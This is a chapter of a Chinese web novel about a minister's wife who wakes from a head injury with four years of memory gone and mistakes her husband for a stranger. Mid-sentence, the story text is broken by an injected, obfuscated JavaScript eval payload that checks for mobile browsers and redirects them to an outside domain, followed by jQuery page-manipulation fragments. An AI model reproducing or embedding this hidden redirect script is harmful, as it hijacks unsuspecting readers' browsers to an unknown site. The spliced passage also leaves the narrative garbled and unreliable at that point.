3. 第 3 章

作品:《和离当晚首辅夫人失忆了

    按照辈分与年纪,纾妍唤裴珩一声叔叔也不吃亏。


    她心里虽记恨他,但此刻犯到他手里,少不得要附小做低拉拉关系。


    她以为对方有意为难自己,又道:“比亲叔父还亲!”


    也不知这句话有何不妥,屋子里的空气变得有些诡异。


    纾妍见他不语,想要趁机偷偷离开,谁知脚刚踩到地板上,顿时天旋地转,站立不稳。


    他一把扶住她的肩膀,道:“你才刚醒,莫要下床,我即刻命人请太医!”


    “莫要请太医!”纾妍眸光闪躲,“不如,叔叔先离开,昨夜之事就当没发生过,好不好?”


    她自以为已经非常通情达理,谁知对方听了她的话却抿唇不言,看她的眼神也愈发深沉。


    他这是什么意思?


    难不成,他不愿?


    还是说,他对她还有别的想法?


    纾妍不由地有些羞恼,正欲问他究竟如何才肯离开,屋子里忽然传来一道有些激动的声音。


    “小姐终于醒了!”


    纾妍顺着声音来源望去,只见水晶珠帘处站着一紫一绿两个婢女。


    正自幼服侍她的贴身侍女——淡烟与轻云。


    一夜过去,两人似乎高了许多,像是大了两三岁。


    这究竟是什么一回事儿?


    纾妍正发愣,忽然听到裴珩问:“你姓甚名谁可还记得?”


    她咬了咬唇,闷声道:“姓沈名六。”


    她在家中排行第六,父兄生气时便唤她“沈小六”。


    她不愿意告诉他自己的闺名。


    “今日是何年何月?”


    “庆历十年十二月初三。”


    “你多大了?”


    “十四。”


    他又伸出中指在她眼前晃了晃,“这是几?”


    这怕不是拿她当傻子?


    纾妍觉得他故意羞辱自己,气不打一处来,胡诌,“五。”


    裴珩冷冷吩咐,“即刻请秦院首过来!”


    “一一一!”纾妍一把捉住他的手指,拿着一对乌黑澄澈的杏眼巴巴望着他,“我方才哄叔叔玩呢。我,我好着呢,不必请太医。”


    他低声安抚,“你别怕。太医就住在隔壁,很快便到。”


    事关女子名节,能不怕吗?


    要是被她爹爹知道,怕要剥了她的皮!


    再者,这种事儿吃亏的也不是他,为何非要请太医!


    纾妍见他这样不近人情,情急之下口不择言,“不过露水情缘一场,我都不介意,大人为何非要闹得人尽皆知!难不成还要我负责不成!”


    话音刚落,屋子里的气氛顿时变得微妙起来。


    淡烟与轻云对视一眼,满脸惶恐:小姐,这是怎么了?


    并未发觉不妥的纾妍见裴珩眸光沉沉盯着自己,又有些怂,低下头小声嘟哝,“我已有心上人,而且,我也不喜欢大人年纪这般大的……”


    这话,虽不大,但屋子里的人全都听见。


    淡烟与轻云的脸色倏地白了。


    小姐怎能将自己的秘密说与姑爷听!


    她二人生怕姑爷发怒,谁知他神色如常地吩咐,“好生侍奉你们小姐。若是再出岔子,就不必留在府里!”虽语气平和,却威严极重。


    淡烟与轻云忙低头应了声“是”。


    裴珩前脚出门,轻云后脚就飞扑到纾妍怀里,嚎嚎大哭,“小姐总算醒了!”


    “我不过是醉酒,”纾妍拍拍她的背,不解,“怎伤心成这般?还有,你同淡烟怎生得这般大了?”


    “什么醉酒,”轻云抽噎,“小姐前日磕到头,已经躺了两日!”


    “我怎一点儿印象也无,”纾妍有些别扭地问:“那裴九郎,怎会出现在我榻上?”


    “裴九郎?”淡烟一时未反应过来,“小姐是说姑爷?”


    “姑爷?”纾妍的眼睛蓦地睁圆,“谁的姑爷?”


    “小姐您可别吓我!”轻云声音颤抖,“三年前您就同姑爷成婚,您不记得了?”


    “不可能!”纾妍一口否定,“绝对不可能!”


    她记得很清楚,因七哥哥这两日要回帝都,昨儿傍晚她偷偷溜出府设宴为他践行。


    就在城西那间胡人开的小酒馆里。


    许是离别在即,她颇为伤感,席上不小心多吃了几杯酒,整个人晕乎乎的。


    后来,还是七哥哥亲自送她回的府。


    外头那样大的雪,七哥哥怕她冻着,将自己身上那件红狐裘强行披到她身上,自己只着了一身绣云纹的交领袍。


    许是这一去要隔好些日子才能相见,七哥哥舍不得离开,与她围着将军府绕了一圈又一圈,话也较素日里多。


    她甚至还记得,跟在身后的淡烟与轻云着小话,讨论城中哪家胭脂制的好。


    火红的炭,温热的酒,舞姬旋转的衣裙,纷飞的雪,温暖的狐裘,少年湛然若神的黑亮眼眸,以及他身上凌冽的雪香……


    昨夜之事至今历历在目,怎可能一觉醒来就不见了四年呢。


    定是阿爹知晓她偷跑出去与人幽会吃酒,所以同人合起伙来吓唬她。


    她爹那个人,什么荒唐之事都干得出来。


    纾妍气呼呼,“回玩笑开得有些大,我心里不高兴,以后都不同他讲话!”


    轻云着急,“小姐,奴婢没哄您!”


    轻云打小就有些缺心眼,平日里说谎都不会。


    纾妍见她说得这样逼真,狐疑地望向淡烟。


    淡烟也点点头。


    可纾妍仍是不相信。


    一定是在做梦!


    这梦怪可怕的!


    纾妍赶紧重新躺回暖和的衾被里,打算再睡一觉,指不定梦醒来就会恢复如初。


    两人以为她累了,也不扰她,守在床头,生怕她再有个三长两短。


    纾妍却怎么都睡不着,左侧额角隐隐作痛,就连脑子里也乱哄哄,好似将一些很重要,却又不那么重要的事情给忘了。


    大约过了一刻钟的功夫,外头传来脚步声。


    纾妍缓缓睁开眼,只见裴珩再次出现在屋里。


    容颜似玉的男人头戴珍珠檐帽,着了一身檀色花纹交领直裰,腰系玉带,风姿真如覆雪之昆仑,肃肃烨烨,清冷艳绝。


    比起五年前的风雅入骨,眉宇间倒是愈发地成熟稳重。


    若真如她们所说,她如今十八,那么他二十有八。


    可他瞧着不过二四十五,难不成吃了永葆青春的灵丹妙药不成?


    还说不是哄她!


    帝都来的郎君,心眼多得跟马蜂窝一样,讨厌得很!


    她赶紧闭上眼睛,默念“急急如欲令,破!”


    一睁开眼,还在!


    她又阖上眼,这回还未得及念口诀,对方已经走到她床头。


    太丢人了……


    纾妍一把把衾被拉至头顶。


    裴珩居高临下地望着将自己藏在鸳鸯被中的女子,沉默片刻,吩咐,“替娘子更衣。”


    淡烟俯身在纾妍耳边,柔声道:“小姐,秦院首就在外头候着,咱们见一见,好不好?”


    纾妍闷声道:“我真没病!”


    淡烟道:“奴婢知晓您没病,咱们先瞧瞧太医,好不好?”


    过了好一会儿,衾被里传来有些娇气的声音,“叫他出去。”


    这个“他”,自然指裴珩。


    淡烟颇有些为难。


    裴珩则一言不发地出了屋子。


    直到脚步声消失在里间,纾妍这才拉下衾被,露出一张被闷红的脸颊,“是不是阿爹特地请他来吓唬我?”


    淡烟一时半会儿也不知如何解释这一切,只好道:“小姐的额头受了伤,不如咱们先瞧了太医,好不好?”


    纾妍确实感到前额阵阵疼,应了声“好”,由着她服侍自己更衣。


    不多时的功夫,轻云领着一身着补服,背着药箱的半百老翁入内,道:“劳烦大娘子伸出手来。”


    纾妍听着这声“大娘子”别扭得很,纠正,“我在家中排行第六。”


    秦院首愣了一下,随即想起方才在外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14821764|158728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    头裴阁老所诉病情,心中隐约有了猜测,和蔼可亲,“那劳烦沈六姑娘伸出右手。”


    纾妍这才不情不愿地把手放在脉枕上。


    医者讲究望闻问切,秦院首自然也不例外。


    他仔细诊问过后,阖目凝神片刻,方道:“我观大娘子神清目明,已无大碍,将养几日便好。”


    纾妍松了一口气,“看吧,我就知道我没病,定是外头那只老狐狸串通我爹骗我!”


    正在收脉枕的秦院首手一抖,脉枕差点掉到递上去。


    他不由地拿眼角偷偷觑了一眼绣床上,像是雪堆出来的病美人儿。


    她额头上缠着一圈纱布,怯弱地歪在大迎枕上,一对杏眼乌黑澄澈,眼角下生了一颗淡淡的红痣,不经意地流露出几分媚和艳来。


    这位首辅夫人,原是前大将军沈约之女,自幼在边疆长大。


    四年前沈家遭难,沈氏举家被流放,唯有这位六姑娘非但平安无事,还在一年后嫁入高门。


    听说,裴阁老求先帝赐婚时,曾拿出一纸婚书,说沈六姑娘还在襁褓时就与之定下亲事,沈氏女早已是裴家妇。


    此事当时传得沸沸扬扬,一时之间,被喻为有情人终成眷属的佳话。


    只是,这沈六姑娘婚后一向深居简出,极少有人见过。


    那天深夜,裴家家扑拿着裴阁老的手谕急吼吼地赶来,将他从睡梦中叫醒,说是家中大娘子不小心撞到头,请他去瞧瞧。


    他到时,昏迷不醒的女子前额裂开一个两寸长的口子,正往外汩汩渗血,形容十分可怖。


    这两日光忙着给她治伤,倒也没太在意对方的模样,只隐约记得轮廓极美。


    如今瞧着,颇有几分祸国妖姬的味道。


    哎,大将军那样精忠报国的臣子,却落得那样的下场。


    就连如今这六姑娘也磕出了毛病……


    秦院首在心里叹了一口气,收拾好脉枕,向纾妍告辞。


    轻云忙将人送出去。


    他人一走,纾妍跟只小猫似的依偎在淡烟怀里,有气无力道:“你去同我爹说,我以后不淘气就是,何苦寻那么多人哄我。”


    淡烟闻言,眼圈蓦地红了。


    她忙扭过脸去,道:“大将军就是有些恼小姐吃醉酒,说这两日让小姐好好待在屋里反省。小姐身子不好,不如奴婢服侍再睡会儿。”


    果然是在哄她!


    她就知道!


    纾妍应了声“好”,伸手抚摸着她较昨日白嫩瘦长些的脸颊,啧啧称奇,“这妆画得这样真,可是城东孙娘子调的脂粉?”


    “就是她,小姐也知晓,孙娘子是城里最会调脂粉的,”淡烟一把握住她的手,笑,“改日奴婢也给小姐画一画。”


    纾妍“嗯”了一声,任由她服侍自己躺回被窝,舒服地阖上眼睫,呢喃,“把那件衣裳拿来,不然我会睡不着。还有,姐姐下回不许伙同阿爹唬我,方才可把我吓坏了。”


    淡烟应了声“好”,将一件洗得发白,上头绣了海棠花的藕荷色襦袄放到她怀里。


    她深吸一口气,说了句“好香”,紧紧地抱在怀里。


    *


    屋外。


    秦院首一出房门,就瞧见海棠树下长身鹤立的男人。


    许是院子里风大,密密匝匝的花瓣飞落,有不少落在他肩头,好似海棠花成了精一般。


    秦院首不得不感叹,这样一位帝都出了名不近人情的权臣竟生得这样一副好相貌,旁的入朝为官的男子不出几年不是熬出皱纹,便是白了青丝,而他浸淫朝堂十几年,容貌似乎不曾变过。


    倒是与屋里的那位极相配。


    想来这样一个小娇妻养在府里头,怕是再硬的心肠也化作绕指柔。


    正愣神,对方已经转过脸来,秦院首忙向他拱手见礼,被他拦下。


    他瞥了一眼屋子,“如何?”


    秦院首道:“如阁老猜测的这般,娘子颅内淤血未散,恐怕是得了离魂症的缘故。”


    话音刚落,刚出屋里走出来的淡烟一脸惊诧,“离魂症?”